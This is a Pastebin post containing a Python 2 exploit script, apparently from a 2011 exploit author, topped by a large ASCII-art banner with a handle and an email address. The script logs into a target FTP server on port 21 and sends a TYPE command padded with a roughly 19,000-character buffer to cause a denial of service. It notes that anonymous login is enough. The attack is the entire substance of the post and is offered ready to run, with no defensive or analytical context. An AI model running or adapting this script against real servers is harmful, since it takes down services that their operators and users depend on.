Advertisement
saifulfaizan

try1

Nov 1st, 2011
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.87 KB | None | 0 0
  1. #!/usr/bin/python
  2. print "\n2ctUtjjJUJUJUJUJjJUJtJtJUUtjfUtt2UftftfUftft1t1tFfF21fhf11Ft"
  3. print "ULcYLYLYLcLc7LLcLccJcJYJYJYjJtJjJtjtJtJtUtjUJjJUJtJUJtjtUtUj"
  4. print "tLUJjJJcJcJcJcJYjhPX0Pb99pb9EbMEDEDEMDZbZDD0XfFf1f2tFf22F21U"
  5. print "JYJJcJcJcJcJcJcJ2 1hf1f1f1212h2h1f"
  6. print "ULJcJcJLYLL7L7L71 dudulz 1h1f2f2fFt1fF1Ft"
  7. print "ULJcJcJLYLL7L7L71 backtronux@gmail.com 1h1f2f2fFt1fF1Ft"
  8. print "JccJcY7Lr7777LrLY 1ht2t1t1f1t12F12"
  9. print "J7JLcr7r777777L7cUF1hfU7r:i:i:i:rirrj2MRQMMbhf1t2t1tFf1f1tFU"
  10. print "Y7cLr777r7rrrrrrrLr:, .LPRQQQQQQQQDX7:.:7SpXfFt1f1t121th2Fft"
  11. print "J7crc77rriririri: ,:tQQQQQQQQQQQQQQQQQRJ:,i19FFf1t2f2f21hfFU"
  12. print "Y7r777rrii:i::: JQQQQQQPFfS0MM02hftXQRZPc, ipXSf1t2t1t1fF2f"
  13. print "Jr777rrii::::, ,QQQQQQQi..::::i:irRR.,hfL7L: JpSf1tFt12h1Ft"
  14. print "cr7c77rri::: 7QQQQQQQ1:Et7jjJ7Lrr7r. ci::i7. iPS22fFf12F12"
  15. print "Jr7LLrrir:i EQQQQQQQQr:QQQQQ9L7Lri., i.::rtY :hSf1f121fFU"
  16. print "c7rL77rrrr. DQQQQQQQQQ:::riri77c77i. .ri7LfE9 ihh2Ffhfhf2"
  17. print "j7crc77r7i UQQQjrir:rQQFcii:ii77Lrr., f11PpZQZ.JFF1h2F1hf"
  18. print "JLcLrLLLL..QQQc.irr7i0QQQQQMhUrr7Lrr:., :Q9QQQQQQh:1t2tft1f2"
  19. print "J7Jcc7LLJ cQQQQL:i777irUMQQQQQQL77L77rr:pJ:7PQQQQQ:Jhf1tFt2J"
  20. print "JccJcc7c7 2QQQQQE7:r7Lri:r7hDQQQ7LLYLJLc7rrr::XQQQ.jFF1h1h11"
  21. print "tLjJJcJJJ bQQQQQQQRULr77Lrriii7LcLYLYLYLLLc77:cQQQ7cX2h2h2hf"
  22. print "jJJUJjJtY 0QQQQQQQQQ0Mt7rrr777777L7LLcLc7c77::ZQQQJJFh2h2FF1"
  23. print "tLUjjYUjt,tQQQQQQQS .QQQF7iiirr77L7L7L77ii:LMQQQQ72S1h1h1Sf"
  24. print "tjjtjjJff:.QQQQQQQQ ::QQQMpftJc7c77rriLhQQQQQQf:02h1h1F12"
  25. print "2J2UfUttFJ,Q: QQb YQQQQQQQQQQQQQQQQQQQQQQ tXF2F1F2hU"
  26. print "fjf2Uft2thrr :L, , QQQQQQQQQribF2h2F1h22"
  27. print "FJ1t2t2t22hrt, , ,,, , tPJ7 :QQQQQQQQU:bS2h2hfF2h2"
  28. print "tUt1t2f1t11SLS. ,,,,,,,,,,,,, .rt. QQQ1Sp1p2r9Xfh2h2F2h1F"
  29. print "1J1t2t1t2t12SYhr ,,,,,,,,,,, .QQF. .tbS2F1F2F1F1hf"
  30. print "ftf1f1f1t2f12Xt2L. ,,,,,,,,,,,,, fQf .fR0Ffh1h1h2h1F21"
  31. print "hUFt1t1f2t2t1fXhFUL: , , , : .jRRSF2h2h1h1SFF2Sf"
  32. print "2f2FfF2Ff12122fhFphhJ7:. ,:JpRR0212FFh1S1h2hFhF1"
  33. print "hUF21fFf12Ffh2F2h1XX9X9SXffjUccLcJtfpERZESh1hFhFSFS1hFS1S1Sf\n"
  34.  
  35. print "\nYou need a valid account to succeed this DoS, but even anonymous can do it as long as it has permission to call TYPE command.\n"
  36.  
  37. import socket
  38. import sys
  39.  
  40. def Usage():
  41. print ("Usage: ./expl.py <host> <Username> <password>\n")
  42. buffer= "./A" * 6300
  43. def start(hostname, username, passwd):
  44. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  45. try:
  46. sock.connect((hostname, 21))
  47. except:
  48. print ("[-] Connection error!")
  49. sys.exit(1)
  50. r=sock.recv(1024)
  51. print "[+] " + r
  52. sock.send("user %s\r\n" %username)
  53. r=sock.recv(1024)
  54. sock.send("pass %s\r\n" %passwd)
  55. r=sock.recv(1024)
  56. print "[+] Send malicious string"
  57. sock.send("TYPE %s\r\n" %buffer)
  58. sock.close()
  59.  
  60. if len(sys.argv) <> 4:
  61. Usage()
  62. sys.exit(1)
  63. else:
  64. hostname=sys.argv[1]
  65. username=sys.argv[2]
  66. passwd=sys.argv[3]
  67. start(hostname,username,passwd)
  68. sys.exit(0)
  69.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement